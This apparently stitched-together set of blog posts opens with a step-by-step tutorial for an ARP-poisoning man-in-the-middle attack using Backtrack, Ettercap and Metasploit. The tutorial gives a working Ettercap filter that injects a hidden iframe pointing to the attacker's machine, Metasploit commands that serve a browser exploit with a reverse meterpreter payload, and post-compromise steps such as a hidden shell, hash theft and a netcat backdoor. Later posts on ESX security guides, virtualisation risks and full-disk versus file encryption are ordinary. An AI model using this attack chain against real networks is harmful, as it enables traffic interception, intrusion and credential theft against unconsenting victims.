The purpose of this post to provide an example of how to use the freely available Linux distribution Backtrack when conducting security testing; and to provide a specific example of an attack scenario with detailed instructions on the commands used and their meaning.

This is by no means an all encompassing tutorial for using Backtrack during security\penetration testing.  If you do not have a basic understanding of what Backtrack is or how it isued I suggest you read some info about it here: http://www.backtrack-linux.org/about/ .   This post is mainly to provide the readers with an overview of a common attack vector, using what I consider to be the “swiss army knife” of IT security tools.

The instructions contained below are provided for informational\educational purposes only and should only be used on networks that you control, or have permission to utilize.

Most of the techniques described here have been documented separately or similarly on other websites\blog posts.  I will post a list of references at the end for further review, and to give credit where credit is due.

Let’s look at an overview of the attack scenario:

Conditions: Access to the network has already been gained by either wireless cracking, or some other access to a wired network.  The target’s IP and operating has already been discovered, as well as the gateway IP address.  Our computer, the target as well as the gateway are all on the same subnet.  The target is a patched Windows XP machine running SP3 and IE8.  We will use Backtrack 4 final release, and the Metasploit framework version 3.

The attack will begin with a basic MITM (man-in-the-middle) ARP poisoning attack against a single target on a network.

The network traffic, specifically the Web pages browsed by the target will be intercepted by our computer, and an iframe will be injected into all of the web pages viewed.  This iframe will point back to our computer which will be hosting a web page with a malicious payload (via the Metasploit framework).

When the user browses to most web pages our iframe will execute the malicious content hosted on our computer in their browser.  The end result will be admin\root access to the targets computer, via a meterpreter session.

Section 1: Prepare Backtrack

If you are already familiar with Backtrack you can skip this section.  This is simply the steps required for preparing Backtrack after initial live boot.

Open a terminal session and type /usr/bin/start-network This command enables the networking on Backtrack

Now we need to update Metasploit.  In a terminal type cd /pentest/exploit/framework3

This brings us to the Metasploit directory.  Type in svn update.  At the prompt type y.

This will update the Metasploit framework with the latest modules.

Now we need to enable IP forwarding using iptables

Enter echo 1 > /proc/sys/net/ipv4/ip_forward into a terminal window

Lastly we’ll ensure ip forwarding is enabled in ettercap

We need to edit the etter.conf file.  However you choose to do that is up to you, I use VI.  A VI tutorial is beyond the scope of this post.  I suggest you check out the security researchers’ best friend: Google if you need help with VI.  Type Kate from a terminal for a GUI text editor or choose it from the Utilities menu.

The file can usually be found here: /etc/etter.conf if you’re using Backtrack4 Final Release.

We need to make 3 changes in etter.conf:

ec-uid = 0

ec_guid = 0

uncomment the redir_command_on and redir_command_off sections below the “if you use iptables” section of etter.conf

Section 2: Prepare Ettercap filter

Ettercap is a network sniffer that can not only log packet data but can use filters to inject or replace data within the packets.  When used in a MITM attack ettercap filters can drop packets, or inject code into packets that will be forwarded to the target machine.

Enter this data into a text file using your favorite text editor and save it as iframe.txt:

if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, “Accept-Encoding”)) {

replace(“Accept-Encoding”, “Accept-Rubbish!”);

# note: replacement string is same length as original string

msg(“zapped Accept-Encoding!\n”);

}

}

if (ip.proto == TCP && tcp.src == 80) {

replace(“</title>”, “</title><iframe src=”http://youripaddress” width=0 height=0></iframe>”);

msg(“iframe Filter Ran.\n”);

}

The above filter will put our iframe right before the closing body tag in most web sites.

Now from aterminal and in the same directory where you saved iframe.txt enter ettefilter iframe.txt –o iframe.ef.

This command compiles the iframe.txt file into the actual etterrcap filter, or “ef” file.

A success message would look like this: Script encoded into 15 instructions.

Section 3: Launch Metasploit

From the /pentest/exploit/framework3directory launch the Metasploit console with this command msfconsole

You can choose your favorite browser exploit, I’m going to use: windows/browser/ms10_xxx_helpctr_xss_cmd_exec

Metasploit commands:

Use windows/browser/ms10_xxx_helpctr_xss_cmd_exec

Set PAYLOAD windows/meterpreter/reverse_tcp

Set LHOST youripaddress

Set SRVHOST youripaddress

Set SRVPORT 80

Exploit

Section 4: Launch Ettercap for MITM attack

Now that all of the different prereqs for the attack have been prepared we can launch ettercap

Enter the following command into a terminal window (replace underlined items with the correct name in your environment): ettercap –i wlan –F iframe.ef –TQM arp:remote /targetip/ /gatewayip/ -P autoadd

The –i witch specifies interface, you only need it if you have multiple interfaces.  If you have only one you can omit. –F is specifying the filter to use.  T= text mode, Q=quiet M=MITM attack.

You may see only one of the addresses is added to an ettercap group.  This is not uncommon with wireless clients.  Both the gateway and target need to show up in one of the groups.  You can either wait until your target sends an arp request or you can force it to by pinging a non existent IP on your subnet from the target.  The choice is yours.

Once ettercap is running open up IE on your target and browse somewhere, I used test.com.  You should see the “iframe filter run” message on your Backtrack box.

You should also see the exploit initiate on the Metasploit terminal.  On your victim box a message will pop up.  If oyu click allow the exploit will run.

You should then see a meterpreter session initiated on your Backtrack computer.

You can hit CTRL+C then type sessions –i 1 (that’s a number 1) to interact with the meterpreter session.

You’ve compromised the box!  You can now do things like drop to a command shell on the target by entering shell into meterpreter.  Or, if you want to be surreptitious you could enter execute –F cmd.exe –i –H –c.  there are many things you can do with a successful meterpreter session setup.  You can upload\download files, grab password hashes, send over a secure back door program like netcat, edit the registry… really whatever you want to do.

I hope you’ve found this post helpful, and will use it as a catalyst for more research to the kinds of things you can do with Backtrack and metasploit.

References

http://www.irongeek.com/i.php?page=security/ettercapfilter

http://www.backtrack-linux.org/

http://hi.baidu.com/artcracker/blog/item/86209ed411e1cac850da4b15.html

http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5078.msg25656/topicseen,1/

http://www.irongeek.com/i.php?page=videos/deploying-metasploits-meterpreter-with-mitm-and-an-ettercap-filter

http://forum.intern0t.net/offensive-guides-information/603-arp-poisoning-mitm-attack.html

I cannot confirm this via the Defense information Systems Agency (DISA), however I feel that these guides will play heavily into the development of a new DISA  ESX Security Technical Implementation Guide (STIG).  This is welcome news for those who work in the DoD\Military workspace. Organizations that have implemented or are implementing vSphere\ESX\ESXi 4.0 have been relying on the old STIG, which was written with VI3 and ESX 3.5 in mind, and best practices to secure their implementations.  The subject areas these guides are broken into also mirrors the current DISA STIG checklist format, which leads me to believe that STIG checklists for vSphere won’t be far behind.

Click here for the guides themselves.

I became a “quasi” ESX administrator and was introduced into a whole new ball game.  A say quasi because it wasn’t my primary job function but everyone on the team became a surrogate ESX admin.  We setup a dual ESX environment (two Dell PowerEdge M-Series Blade Systems with 16 blades each) with the data (in the form of the virtual disk files: vmdk’s) residing on a storage area network (SAN).   We usually run 700-800 virtual servers, from Windows to Red Hat, with an additional 200 running on network attached storage (NAS) devices.  With the proper configuration of NIC teaming and ESX’s load balancing\failover settings I discovered an immensely fault tolerant environment that was nearly devoid of one of the biggest issues enterprise admins face:  hardware problems.  Another treat was the server provisioning process.  It took nearly a month from start to finish to get a hard standing server; ordering the server, provisioning rack space, getting the server, installing software\hardware, testing\hardening and finally delivery to the internal customer.  With the VM environment the requester simply placed an internal order for the server and we spun it up from a template .iso.   15 minutes, you’re server’s ready for custom applications and your use.   Finally, our disaster recovery was pretty straightforward: move all of the VM’s to a waiting offsite ESX server.  Flip the switch, and you’re done.   Not only did we save money on hardware cost but on energy.  When you don’t have to cool and power a bunch of hardware you don’t spend as much every month on the electric bill.

There were a lot of pros working with the virtual environment.  Centralized administration and fault tolerance, to name a few.  But, on the other hand there were some cons as well.  If anything goes wrong with your VM environment you lose your servers (800 servers in our case).   We had several places that things could go wrong: the ESX’s themselves and the SAN\NAS.  When the ESX was broken (human configuration error) we lost a ton of servers.

On the admin side of the house you’re focused so much on the technology and getting stuff to work properly that you sometimes forget about that pesky little piece of IT that seems to ruin all of your fun: Security.  It’s not uncommon for admins to “forget” security.  Heck, the Internet was designed with it as an afterthought (if you don’t believe me just look at DNS, or TCP\IP).  I, unfortunately, no longer have the leisure of looking at technology with strictly “admin eyes”.  I now must consider the ramifications it has with regards to security; both of the system and the infrastructure.

The first big issue with security is host\guest segregation.  Put simply: stuff that happens on the VM doesn’t affect the server that is running VMware Workstation or ESX.  That was always a big selling point for VMWare, memory and process segregation.  However, leave it to the vulnerability researchers to rain on folks’ parades.  A bug in VMware, discovered by Kostya Kortchinsky, allows code to be executed from a guest OS to run on the host.  Check it out. Scary, to say the least.  So, now you need to worry about bugs\flaws in your guests harming your host, and if that host is an ESX that houses 500 VM servers… you do the math.  On a similar note some of the newer VM packages include the ability to cut paste between VM’s and allow actual host disk access from a guest.  Not smart, in my opinion.  I’d flip those switches to “off”.

The next area of concern that should be paid close attention to is virtual networking.  The virtual network layer operates similarly to physical network, using vNics and vSwitches and… hmm… v-VLAN’s.  It is possible to bind specific virtual NICs and virtual switches to physical NICs on a host that lead to separate LAN’s (a DMZ and an internal network, for example).  If it’s configured properly you can have complete network segregation within a single ESX.  However, with a few simple mistakes you can create a bridge between the two networks.  Simply enable IP forwarding on a guest and make one or two configs on the vSwitches and you’ve just bridged the networks.  Which leads me to my next point:

Separation of duties.  What happens when you have ESX admins who also have Root on guests?  You have a problem.  They are the gatekeepers and now have a lot of power.  As a best practice the ESX hosts and guests should be admin’d by separate departments\teams, and neither should have excessive rights to the other’s systems.

All in all I’d say that I am a fan of virtualized environments, IF they’re setup properly.  Some feel that virtual environments have too many places that could be points of failure for multiple servers, but that’s when careful thought, planning and analysis come into play.  If it’s done right, a virtualized data center is a fluid machine.  Literally!  It’s only one machine…

Now, back to the two schools of thought:  on the one hand you have File Encryption (FES), on the other Full Disk Encryption (FDE).  Both technologies have their pros and cons, and both have their vehement supporters and nay sayers.  I’d be interested to know what your thoughts are on the matter.  I myself have an opinion, and it is just that—an opinion.  I won’t say that it fits every scenario, but for security centric folks I’d say that FDE provides the most robust security for mobile devices and fixed workstations alike.  That view is not shocking; most experts will agree that FDE’s preboot authentication, which negates the extremely lax and easily bypassed security of BIOS and operating system (OS) passwords, is a highly secure method of protection.  Let’s not forget that FDE prevents the hard disk or the OS from being accessed via a live Linux distribution, such as BackTrack. Once a malicious user has physical access to a device, compromising it can take seconds with a live boot Linux OS like BackTrack; however, if the device is protected by FDE then the OS and the data is unreachable.

Some pundits argue that FDE is cumbersome to the end user and has a low level of acceptance when it is deployed.  Speaking of deployment, others say it is very difficult to deploy FDE software in an enterprise environment.  I can speak to both of those issues:  First, depending on the skill level of the IT staff, it is not difficult to integrate FDE software en masse using directory services or other management platforms.  As far as end user acceptance, the grim picture that has been painted by some is that of a painstaking logon process followed by a horrendously long boot cycle.  This in fact is false.  Most FDE software integrates with the native OS’s logon daemons or services such that it is nearly identical to the logon process the user is familiar with.

File Encryption has its place. FES is most suitable for non-mobile devices, protecting critical data or OS files. Even then, it takes a lot more configuration and monitoring to ensure that you cover all of your bases. And, sometimes companies leave it in the end user’s hands to decide what’s encrypted and what’s not. When it comes to security my rule is to NEVER leave it to the end user. Also, if you give someone an inch, they’ll take a mile. FES leaves the door open for attackers to be able to access the OS and unencrypted portion of the file system. Maybe they’ll drop a few links in a non-critical area, or perhaps they’ll slip a few custom dll’s into a non-encrypted area of the file system, just waiting to be called by a cron job. If you’re going to invest in DAR, why would you give malicious users a foothold?

FDE has come a long way and has had its ups and downs, but for the most part I feel it is the most secure solution for a mobile workforce (heck, if it works on laptops why not workstations?). All of the stars need to align properly for a successful FDE implementation: first, you need upper echelon support; second, you need a skilled technical staff to implement it, and third, you need to communicate its benefits to managers and users alike.